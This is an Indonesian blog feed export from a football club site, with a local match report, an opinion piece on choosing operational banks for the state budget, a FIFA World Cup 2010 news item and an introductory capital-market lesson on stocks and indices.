tag:blogger.com,1999:blog-15776124143134304822024-03-13T08:53:42.977-07:00JOJO FC MUTIARAJOJO FC MENGHADAPI FINAL DENGAN TIM GEMUKER FC KEMBANG TANJUNGjojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.comBlogger24125truetag:blogger.com,1999:blog-1577612414313430482.post-22711355066970733272011-02-09T17:55:00.001-08:002011-02-09T17:55:43.636-08:00Jojo Tekuk Persiwa<div><br /></div><div><div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-family: Verdana, Arial, sans-serif; font-size: 0.8em; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(255, 255, 255); "><div class="padding-20" style="padding-top: 20px; padding-right: 20px; padding-bottom: 20px; padding-left: 20px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><div class="date" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">Wed, Feb 9th 2011, 08:16</div><h3 style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">Jojo Tekuk Persiwa</h3><div class="attributes" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "></div><div class="news-content left" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 1em; line-height: 1.3em; text-align: justify; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-weight: bold; ">SIGLI</span>- Skuad Jojo FC tampil gemilang setelah mengalahkan Persiwa Waido Fc, 5-0, pada turnamen sepakbola piala Wakil Bupati Pidie ke-3, di lapangan hijau Kemukiman Pineung, Kecamatan Peukan Baro, Pidie, Selasa (8/2) petang.<br /><br />Tampil penuh kekompakan, anak-anak Jojo langsung berinisiatif melakukan gempuran ke kubu Persiwa Waido. Serangan silih berganti itu, sempat membuat anak-anak Waido tertekan. Bahkan, percobaan yang dilakukan Musliadi dkk nyaris membuahkan petakan bagi Waido. Akan tetapi, disiplin pemain bawah Waido menjaga lawan, sehingga gol tak tercipta.<br /><br />Namun, awak Jojo tampa menyerah terus meneror Waido. Alhasil, pada menit ke-15 anak Jojo membuka kemenangan lewat kaki Mustakim. Bahkan, 10 menit kemudian, Jojo menambah pembendaraan gol melalui hentakan Munzir. Hingga jeda babak pertama, Jojo unggul, 2-0.<br /><br />Memasuki babak kedua, awak Waido coba bangkit dengan memasukkan amunisi baru. Ambisi menciptakan terus dipacu para pemain dengan melakukan serangan balik ke kubu pertahanan Jojo. Akan tetapi, gencarnya melakukan serangan, membuat pemain Waido lupa menjaga pertahanan bawah.<br /><br />Alhasil, pada menit, ke-45 Fahmi sukses membobolkan jala awak Waido. Kecuali itu, dua gol penutup buat Jojo, masing-masing dihasilkan Mus pada menit ke-55 dan Musliadi di menit ke-60. Hingga wasit Hamidi meniup pluit terakhir, Jojo menang telak, 5-0. Untuk duel sore nanti, Kramva Fc Padang Tiji ditantang PSDS Dayah Seumideun. <span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-weight: bold; ">(naz)</span></div><div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; text-align: right; "><a href="http://aceh.tribunnews.com/news/printit/49052" class="print" title="Cetak" style="padding-top: 2px; padding-right: 2px; padding-bottom: 2px; padding-left: 20px; margin-top: 0px; margin-right: 8px; margin-bottom: 0px; margin-left: 0px; outline-style: none; outline-width: initial; outline-color: initial; color: rgb(0, 68, 170); background-image: url(http://aceh.tribunnews.com/img/sprite.png); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 16px; background-position: 0px -360px; background-repeat: no-repeat no-repeat; "></a></div></div><div id="printit" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "> </div></div></div>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-40129023255123574142010-05-07T02:07:00.001-07:002010-05-07T02:09:31.566-07:00mencari bank operasional paling oke<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IvYPqzEnREI/S-PYn8gUB4I/AAAAAAAAAIE/UGabKebXMTI/s1600/17042010%28002%29.jpg"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 150px; height: 200px;" src="http://1.bp.blogspot.com/_IvYPqzEnREI/S-PYn8gUB4I/AAAAAAAAAIE/UGabKebXMTI/s200/17042010%28002%29.jpg" alt="" id="BLOGGER_PHOTO_ID_5468452553326069634" border="0" /></a><br /><h1 id="post-33"><br /></h1> <!--post text with the read more link--> <p><strong>Kriteria penentuan Bank Operasional (BO) penyalur anggaran negara kurang jelas. Menyedihkan tapi tidak mengagetkan ketika seorang sahabat yang bidang usahanya menjadi rekanan pemerintah dalam pengerjaan proyek pembangunan berkeluh kesah.</strong></p> <p>Khususnya kerena masalah pembayaran yang kerap kali tertunda sehingga mengganggu keuangan perusahaan.</p> <p>Sayangnya tidak banyak yang bisa diperbuat pengusaha karena lambatnya penyerapan dan penyaluran anggaran memang kerap menjadi berita utama di media massa.</p> <p>Bagi banyak pengusaha, khususnya pengusaha muda didaerah , ditunjuk menjadi rekanan untuk proyek pembangunan memang memiliki keistimemewaan tersendiri. <em>Pertama, </em>nilai proyek yang cukup besar untuk jangka waktu pengerjaan yang cukup lama sehingga sangat membantu menyediakan pasar yang berkesinambungan.</p> <p><em>Kedua, </em>Kompetisi dan kualifikasi yang semakin tinggi yang dipersyaratkan pemerintah mendorong pengusaha untuk meningkatkan kualitas jasa dan produk serta layanan dan operasional. <em>Ketiga, </em>kepuasan dan kebangggan batin kerena nilai prestise yang tinggi dengan menjadi rekanan pemerintah .</p> <p>Sayangnya semua keistimewaan sering kali menjadi perangkap yang menggangu kesinambungan usaha khususnya karena masalah pembayaran atau penyaluran dana pembangunan dimana terlalu banyak faktor yang mempengaruhi diluar kendali pengusaha kontraktor.</p> <p>Salah satu faktor yang sering menjadi kendala selain dari faktor politis adalah masalah administrasi dan teknologi perbankan rekanan pemerintah yang kurang memadai. Padahal bank yang dipilih sebagai rekanan pemerintah harusnya merupakan perpanjangan tangan negara dalam memenuhi kebutuhan pengusaha kontraktor.</p> <p>Beberapa alasan yang paling sering diterima pengusaha adalah sistem yang belum <em>online </em>sehingga ada keterlambatan penyaluran dana, kesalahan administrasi, atau staff perbankan yang kurang paham bila terjadi hambatan atau kesalahan.</p> <p>Saat ini pemerintah telah menerapkan mekanisme <em>Single Treasure Account </em>dimana anggaran belanja pemerintah termasuk belanja pegawai, belanja modal dan belanja rekanan disalurkan oleh Kantor Perbendaharaan dan Pembayaran Negara (KPPN) melalui sistem perbankan nasional dengan menunjuk satu bank operasional (BO) di setiap daerah.</p> <p>Pengusaha nasional setuju bahwa anggaran belanja yang mencapai 300 Triliun itu sebaiknya disalurkan melalui bank milik pemerintah sehingga membantu likuiditas dan meyehatkan kas0kas bank BUMN. Apalagi Bank BUMN memang terbilang jauh lebih besar dalam hal jangkauan keseluruh Indonesia dibandingkan dengan bank swasta nasional yang sudah banyak dimiliki pihak asing.</p> <p>Namun, Kultur bank BUMN yang kurang responsif dibandingkan dengan bank swasta nasional juga perlu segera diperbaiki. Ditambah dengan penerapan teknologi yang canggih dan dapat diandalkan, tata kelola dan manajemen resiko yang lebih baik.</p> <p>Kabar baiknya adalah bank BUMN sudah semakin profesional, tetapi pengusaha berharap reformasi dan transformasi budaya melayani bisa dilakukan lebih masif dan lebih cepat lagi. Kalau bank BUMN tidak bisa memenuhi kebutuhan dan standar pelayanan yang terbaik, tercepat dan konsisten, tidak bisa disalahkan bila pemerintah menunjuk bank swasta nasional.</p> <p><strong>Kurang Jelas</strong><br />Saat ini kurang jelas kriteria apa saja yang digunakan pemerintah dalam menentukan pilihan BO penyalur anggaran belanja negara. Namun, Terdengar kabar bahwa salah satu kriteria yang digunakan adalah <em>pricing </em>atau besaran <em>fee </em>terkecil yang ditawarkan perbankan untuk bisa dipilih sebagai BO. Bahkan terdengar pula kabar bahwa bank peserta lelang diharapkan menawarkan <em>fee </em>negatif, artinya bank justru membayar kepada pemerintah sehingga menambah pendapatan negara bukan pajak (PNPB).</p> <p>Walaupun peraturan mengizinkan kriteria tersebut, hal ini tidak sesuai dengan prinsip dan fungsi dana pembangunan yaitu sebagai penggerak perekonomian melalui efek pengganda (<em>multiflier effect</em>) yang dinikmati dunia usaha dan masyarakat. Jadi bukan sebagai sumber pemasukan perbankan dan bukan pula sumber pemasukan negara.</p> <p>Sebagai penyalur dana sebesar itu, perbankan tidak etis menerapkan fee pengelolaan apalagi bank milik pemerintah. Perbankan harus memaksimalkan manfaatnnya melalui kemampuan pengelolaan likuiditas melalui berbagai mekanisme lainnya diluar <em>fee based income</em>.</p> <p>Sebaliknya pemerintah juga tidak etis menerapkan <em>negative fee </em>atau memperoleh pemasukan dari perbankan karena ini melanggar prinsip pelayanan negara terhadap masyarakat melalui proses pembangunan.</p> <p>Selain itu, penerapan <em>negatif fee </em>tidak sesuai dengan semangat reformasi karena akan membuka ruang bagi praktik yang kurang transparan dan kurang profesional. Dengan kata lain penunjukan penunjukan rekanan bank nasional sebagai BO harus menggunakan prinsip <em>zero fee.</em></p> <p>Selain itu ada empat kriteria penting menurut pengusaha yang mungkin bisa dijadikan referensi bagi pemerintah dala memilih bank operasi.</p> <p><em>Pertama </em>bank yang ditunjuk sebagai BO harus memiliki jaringan yang luas dihampir setiap pusat pemerintahan dan sentra pembangunan diseluruh indonesia. <em>Kedua </em>BO harus memiliki teknologi yang terbukti dan diakui memadai untuk memastika konsistensi dan menghindari potensi kegagalan teknologi yang akan menghambat proses penyaluran. <em>Ketiga </em>BO harus dikenal memiliki budaya layanan yang bertaraf internasional dan berorintasi kepada kepuasan bukan saja pada kebutuhan, nasabah. <em>Keempat</em>, pemerintah harus memberikan ruang yang cukup bagi bank swasta nasional (Non BUMN) untuk ikut dalam proses lelang sehingga seluruh perbankan nasional berlomba-lomba untuk memenuhi standar yang tinggi. Apabila itu terjadi yang diuntungkan adalah masyarakat luas penikmat jasa perbankan.</p> <p>Menjadi rekanan pemerintah walaupun istimewa tidak murah dan tidak mudah. Padahal anggaran belanja pembangunan seyogyanya menjadi katalis pertumbuhan dan perkembangan pengusaha muda diseluruh indonesia dalam mempersiapkan diri berkompetisi di pasar internasional atau menghadapi pesaing dari luar negeri yang masuk ke Indonesia.</p> <p>Untuk itu momentum pemilihan BO harus dimanfaatkan semaksimal mungkin oleh KPPN, perbankan dan pengusaha nasional untuk meningkatkan kualitas, kecepatan dan efektifitas pembangunan nasional.</p> <p>Tidak tahu bank saional mana yang akan terpilih . yang pasti dengan proses yang benar dan berkualitas siapapun pemenang lelang , Indonesia akan memiliki BO hyang berkualitasa sebagai agen pembangunan.</p>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-55976128236495887582010-04-30T00:59:00.000-07:002010-04-30T01:06:01.708-07:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IvYPqzEnREI/S9qPUgzrvLI/AAAAAAAAAH8/nRQDYQeoJmQ/s1600/fsdf.jpg"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 200px; height: 132px;" src="http://2.bp.blogspot.com/_IvYPqzEnREI/S9qPUgzrvLI/AAAAAAAAAH8/nRQDYQeoJmQ/s200/fsdf.jpg" alt="" id="BLOGGER_PHOTO_ID_5465838680334384306" border="0" /></a><br /><strong>Johannesburg</strong> - Akibat kelewat keras "melindungi" hak jualan Piala Dunia 2010, FIFA mendapatkan protes keras. Protes tersebut datang dari perusahaan-perusahaan lokal Afrika Selatan.<br /><br />FIFA mendapatkan keuntungan yang begitu besar dari hasil penjualan segala hal yang berbau Piala Dunia 2010 dan hak siar televisi. Namun, bagi siapa saja yang berniat untuk menggunakan logo resmi Piala Dunia 2010, maka mereka harus mendapatkan hak ekslusif dari FIFA.<br /><br />Tanpa hak ekslusif tersebut, jangan harap bisa menggunakan logo resmi Piala Dunia 2010, dan asal tahu saja hak ekslusif tersebut tentunya juga tak murah. FIFA sendiri cukup ketat menjalan aturan ini.<br /><br />FIFA tak hanya melarang para perusahaan yang tak memiliki hak ekslusif untuk menggunakan logo, tetapi juga kalimat-kalimat yang berkaitan dengan "Piala Dunia". Akibatnya salah satu maskapai penerbangan asal Afsel mengakalinya dengan kata-kata "Penerbangan Tak Resmi dari 'Anda-Tahu-Apa'".<br /><br />Ketatnya peraturan FIFA ini kemudian mendatangkan kritik. Perusahaan-perusahaan lokal berpendapat, ajang Piala Dunia ini seharusnya bisa mendatangkan keuntungan bagi mereka. Namun, FIFA telah mengekangnya.<br /><br />Kritik tersebut kemudian dibantah oleh FIFA. Menurut Sekjen FIFA Jerome Valcke, mereka sudah berusaha sebisa mungkin meminta para sponsor resmi untuk bekerjasama dengan perusahaan-perusahaan lokal.<br /><br />"Kami sudah meminta semua partner kami untuk bekerjasama dengan perusahaan-perusahaan dari Afrika Selatan," ujarnya kepada CNN.<br /><br />"Kami sudah meminta Adidas untuk bekerja dengan perusahaan Afsel dan meminta mereka untuk tak memproduksi apa pun di China atau di manapun," tukas Valcke.<br /><br /><strong>Foto:</strong> Presiden FIFA Sepp Blatter berfoto dengan maskot Piala Dunia 2010, Zakumi.jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com1tag:blogger.com,1999:blog-1577612414313430482.post-56276511956130390822010-04-28T01:39:00.000-07:002010-04-28T01:59:15.047-07:00<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dzseVzlGlQ0mJ8y9MkGv_V7v1_Z58lIYSJppPDslcEh7vq2HO0lRNkcmlXfhp-gpot9Ej_v_2Rm_d6qXeTWPA' class='b-hbp-video b-uploaded' frameborder='0'></iframe>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-90925666582531025892010-04-28T01:32:00.000-07:002010-04-28T01:37:44.985-07:00<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dyzwyqBG3YAco3X_gWIG4epNPQ1NrlYyMryzYwtSTG31yiVSDeCMkfXjFX77Sx_f36OOAwkyE5xNOldh9Sl8A' class='b-hbp-video b-uploaded' frameborder='0'></iframe>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-59872919850180968482010-04-27T08:01:00.000-07:002010-04-27T08:03:18.583-07:00pengantar pasal modal<p class="MsoNormal" style="text-align: center; color: rgb(255, 255, 255);" align="center"><b><span style="font-family: 'Trebuchet MS';">BAB 1<o:p></o:p></span></b></p><p class="MsoNormal" style="text-align: center; color: rgb(255, 255, 255);" align="center"><b><span style="font-family: 'Trebuchet MS';">PENGANTAR PASAR MODAL<o:p></o:p></span></b></p><p class="MsoNormal" style="text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span><b><span style="font-family: 'Trebuchet MS';">A.<span style="font-size: 0pt;"> </span>Pasar Modal<o:p></o:p></span></b></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Pasar modal <i>(capital market)</i> merupakan pasar untuk berbagai instrumen keuangan jangka panjang yang bisa diperjualbelikan, baik <st1:place st="on"><st1:city st="on">surat</st1:city></st1:place> utang (obligasi), ekuiti (saham), reksa dana, instrumen derivatif maupun instrumen lainnya. Pasar modal merupakan sarana pendanaan bagi perusahaan maupun institusi lain (misalnya pemerintah), dan sebagai sarana bagi kegiatan berinvestasi. Dengan demikian, pasar modal memfasilitasi berbagai sarana dan prasarana kegiatan jual beli dan kegiatan terkait lainnya.<o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Instrumen keuangan yang diperdagangkan di pasar modal merupakan instrumen jangka panjang (jangka waktu lebih dari 1 tahun) seperti saham, obligasi, waran, right, reksa dana, dan berbagai instrumen derivatif seperti option, futures, dan lain-lain.<o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Undang-Undang Pasar Modal No. 8 tahun 1995 tentang Pasar Modal mendefinisikan pasar modal sebagai “kegiatan yang bersangkutan dengan Penawaran Umum dan perdagangan Efek, Perusahaan Publik yang berkaitan dengan Efek yang diterbitkannya, serta lembaga dan profesi yang berkaitan dengan Efek”.<o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 0.25in; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Pasar Modal memiliki peran penting bagi perekonomian suatu negara karena pasar modal menjalankan dua fungsi, yaitu pertama sebagai sarana bagi pendanaan usaha atau sebagai sarana bagi perusahaan untuk mendapatkan dana dari masyarakat pemodal (investor). Dana yang diperoleh dari pasar modal dapat digunakan untuk pengembangan usaha, ekspansi, penambahan modal kerja dan lain-lain, kedua pasar modal menjadi sarana bagi masyarakat untuk berinvestasi pada instrument keuangan seperti saham, obligasi, reksa dana, dan lain-lain. </span><span style="font-family: 'Trebuchet MS';" lang="NL">Dengan demikian, masyarakat dapat menempatkan dana yang dimilikinya sesuai dengan karakteristik keuntungan dan risiko masing-masing instrument.<o:p></o:p></span></p><p class="MsoNormal" style="text-align: justify; color: rgb(255, 255, 255);"><b><span style="font-family: 'Trebuchet MS';">B.<span style="font-size: 0pt;"> </span>Instrument Investasi Saham<o:p></o:p></span></b></p><p class="MsoNormal" style="margin-left: 24pt; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Saham (stock) merupakan salah satu instrumen pasar keuangan yang paling popular. Menerbitkan saham merupakan salah satu pilihan perusahaan ketika memutuskan untuk pendanaan perusahaan. Pada sisi yang lain, saham merupakan instrument investasi yang banyak dipilih para investor karena saham mampu memberikan tingkat keuntungan yang menarik. <o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 24pt; text-align: justify; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Saham dapat didefinisikan sebagai tanda penyertaan modal seseorang atau pihak (badan usaha) dalam suatu perusahaan atau perseroan terbatas. Dengan menyertakan modal tersebut, maka pihak tersebut memiliki klaim atas pendapatan perusahaan, klaim atas asset perusahaan, dan berhak hadir dalam Rapat Umum Pemegang Saham (RUPS). Pada dasarnya, ada dua keuntungan yang diperoleh investor dengan membeli atau memiliki saham:<o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 24pt; color: rgb(255, 255, 255);"><b><span style="font-family: 'Trebuchet MS';">Keuntungan Investasi Saham :<o:p></o:p></span></b></p><p class="MsoNormal" style="margin-left: 24pt; color: rgb(255, 255, 255);"><b><span style="font-family: 'Trebuchet MS';">Deviden</span></b><br /><span style="font-family: 'Trebuchet MS';">Dividen merupakan pembagian keuntungan yang diberikan perusahaan dan berasal dari keuntungan yang dihasilkan perusahaan. Dividen diberikan setelah mendapat persetujuan dari pemegang saham dalam RUPS. Jika seorang pemodal ingin mendapatkan dividen, maka pemodal tersebut harus memegang saham tersebut dalam kurun waktu yang relatif lama yaitu hingga kepemilikan saham tersebut berada dalam periode dimana diakui sebagai pemegang saham yang berhak mendapatkan dividen.<o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 24pt; color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';"><br />Dividen yang dibagikan perusahaan dapat berupa dividen tunai – artinya kepada setiap pemegang saham diberikan dividen berupa uang tunai dalam jumlah rupiah tertentu untuk setiap saham - atau dapat pula berupa dividen saham yang berarti kepada setiap pemegang saham diberikan dividen sejumlah saham sehingga jumlah saham yang dimiliki seorang pemodal akan bertambah dengan adanya pembagian dividen saham tersebut</span><span style="font-family: 'Trebuchet MS';" lang="NL">.</span><span style="font-family: 'Trebuchet MS';"><br /><b>Capital Gain</b><br />Capital Gain merupakan selisih antara harga beli dan harga jual. Capital gain terbentuk dengan adanya aktivitas perdagangan saham di pasar sekunder. Misalnya Investor membeli saham ABC dengan harga per saham Rp 3.000 kemudian menjualnya dengan harga Rp 3.500 per saham yang berarti pemodal tersebut mendapatkan capital gain sebesar Rp 500 untuk setiap saham yang dijualnya. <o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 24pt; color: rgb(255, 255, 255);"><b><span style="font-family: 'Trebuchet MS';">Resiko investasi saham, antara lain:<br />Capital Loss</span></b><span style="font-family: 'Trebuchet MS';"><br />Merupakan kebalikan dari Capital Gain, yaitu suatu kondisi dimana investor menjual saham lebih rendah dari harga beli. Misalnya saham PT. XYZ yang di beli dengan harga Rp 2.000,- per saham, kemudian harga saham tersebut terus mengalami penurunan hingga mencapai Rp 1.400,- per saham.<br />Karena takut harga saham tersebut akan terus turun, investor menjual pada harga Rp 1.400,- tersebut sehingga mengalami kerugian sebesar Rp 600,- per saham.<br /><b>Risiko Likuidasi</b><br />Perusahaan yang sahamnya dimiliki, dinyatakan bangkrut oleh Pengadilan, atau perusahaan tersebut dibubarkan. Dalam hal ini hak klaim dari pemegang saham mendapat prioritas terakhir setelah seluruh kewajiban perusahaan dapat dilunasi (dari hasil penjualan kekayaan perusahaan). Jika masih terdapat sisa dari hasil penjualan kekayaan perusahaan tersebut, maka sisa tersebut dibagi secara proporsional kepada seluruh pemegang saham. Namun jika tidak terdapat sisa kekayaan perusahaan, maka pemegang saham tidak akan memperoleh hasil dari likuidasi tersebut. Kondisi ini merupakan risiko yang terberat dari pemegang saham. Untuk itu seorang pemegang saham dituntut untuk secara terus menerus mengikuti perkembangan perusahaan.<br />Di pasar sekunder atau dalam aktivitas perdagangan saham sehari-hari, harga-harga saham mengalami fluktuasi baik berupa kenaikan maupun penurunan. Pembentukan harga saham terjadi karena adanya permintaan dan penawaran atas saham tersebut. Dengan kata lain harga saham terbentuk oleh supply dan demand atas saham tersebut. Supply dan demand tersebut terjadi karena adanya banyak faktor, baik yang sifatnya spesifik atas saham tersebut (kinerja perusahaan dan industri dimana perusahaan tersebut bergerak) maupun faktor yang sifatnya makro seperti tingkat suku bunga, inflasi, nilai tukar dan faktor-faktor non ekonomi seperti kondisi sosial dan politik, dan faktor lainnya.</span><b><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span></b></p><p class="MsoNormal" style="margin-left: 24pt; text-indent: -23.25pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><strong><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">C.<span style="font: 7px 'Times New Roman';"> </span></span></span></strong><!--[endif]--><strong><span style="font-family: 'Trebuchet MS';">Indeks Harga Saham<o:p></o:p></span></strong></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Indeks harga saham adalah suatu indikator yang menunjukkan pergerakan harga saham. Indeks berfungsi sebagai indikator trend pasar, artinya pergerakan indeks menggambarkan kondisi pasar pada suatu saat, apakah pasar sedang aktif atau lesu.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Dengan adanya indeks, kita dapat mengetahui trend pergerakan harga saham saat ini; apakah sedang naik, stabil atau turun. Misal, jika di awal bulan nilai indeks 300 dan saat ini di akhir bulan menjadi 360, maka kita dapat mengatakan bahwa secara rata-rata harga saham mengalami peningkatan sebesar 20%.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Pergerakan indeks menjadi indikator penting bagi para investor untuk menentukan apakah mereka akan menjual, menahan atau membeli suatu atau beberapa saham. Karena harga-harga saham bergerak dalam hitungan detik dan menit, maka nilai indeks pun bergerak turun naik dalam hitungan waktu yang cepat pula.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);"><o:p></o:p></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Di Bursa Efek <st1:country-region st="on"><st1:place st="on">Indonesia</st1:place></st1:country-region> terdapat 6 (enam) jenis indeks, antara lain:<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Indeks Individual, menggunakan indeks harga masing-masing saham terhadap harga dasarnya, atau indeks masing-masing saham yang tercatat di BEI.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Indeks Harga Saham Sektoral, menggunakan semua saham yang termasuk dalam masing-masing sektor, misalnya sektor keuangan, pertambangan, dan lain-lain. Di BEI indeks sektoral terbagi atas sembilan sektor yaitu: pertanian, pertambangan, industri dasar, aneka industri, konsumsi, properti, infrastruktur, keuangan, perdagangan dan jasa, dan manufaktur.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Indeks Harga Saham Gabungan</span><span style="font-family: 'Trebuchet MS';"> atau IHSG (Composite Stock Price Index), menggunakan semua saham yang tercatat sebagai komponen penghitungan indeks.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Indeks LQ 45</span><span style="font-family: 'Trebuchet MS';">, yaitu indeks yang terdiri 45 saham pilihan dengan mengacu kepada 2 variabel yaitu likuiditas perdagangan dan kapitalisasi pasar. Setiap 6 bulan terdapat saham-saham baru yang masuk kedalam LQ 45 tersebut.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Indeks Syariah atau JII (Jakarta Islamic Index)</span><span style="font-family: 'Trebuchet MS';">. JII merupakan indeks yang terdiri 30 saham mengakomodasi syariat investasi dalam Islam atau Indeks yang berdasarkan syariah Islam. Dengan kata lain, dalam Indeks ini dimasukkan saham-saham yang memenuhi kriteria investasi dalam syariat Islam. Saham-saham yang masuk dalam Indeks Syariah adalah emiten yang kegiatan usahanya tidak bertentangan dengan syariah seperti: Usaha perjudian dan permainan yang tergolong judi atau perdagangan yang dilarang. Usaha lembaga keuangan konvensional (ribawi) termasuk perbankan dan asuransi konvensional. Usaha yang memproduksi, mendistribusi serta memperdagangkan makanan dan minuman yang tergolong haram <o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Usaha yang memproduksi, mendistribusi dan/atau menyediakan barang-barang ataupun jasa yang merusak moral dan bersifat mudarat <o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';" lang="NL">Indeks Papan Utama dan Papan Pengembangan</span><span style="font-family: 'Trebuchet MS';" lang="NL">. Yaitu indeks harga saham yang secara khusus didasarkan pada kelompok saham yang tercatat di BEI yaitu kelompok Papan Utama dan Papan Pengembangan.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 24pt;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';" lang="NL">Indeks KOMPAS 100.</span><span style="" lang="NL"> merupakan Indeks Harga Saham hasil kerjasama Bursa Efek Indonesia dengan harian KOMPAS. Indeks ini meliputi 100 saham dengan proses penentuan sebagai berikut :<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;" lang="FR"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';" lang="FR">Telah tercatat di BEJ minimal 3 bulan.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style=""> </span></span></span><!--[endif]--><span style="font-family: 'Trebuchet MS';">Saham tersebut masuk dalam perhitungan IHSG (Indeks Harga Saham Gabungan).<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -12pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New 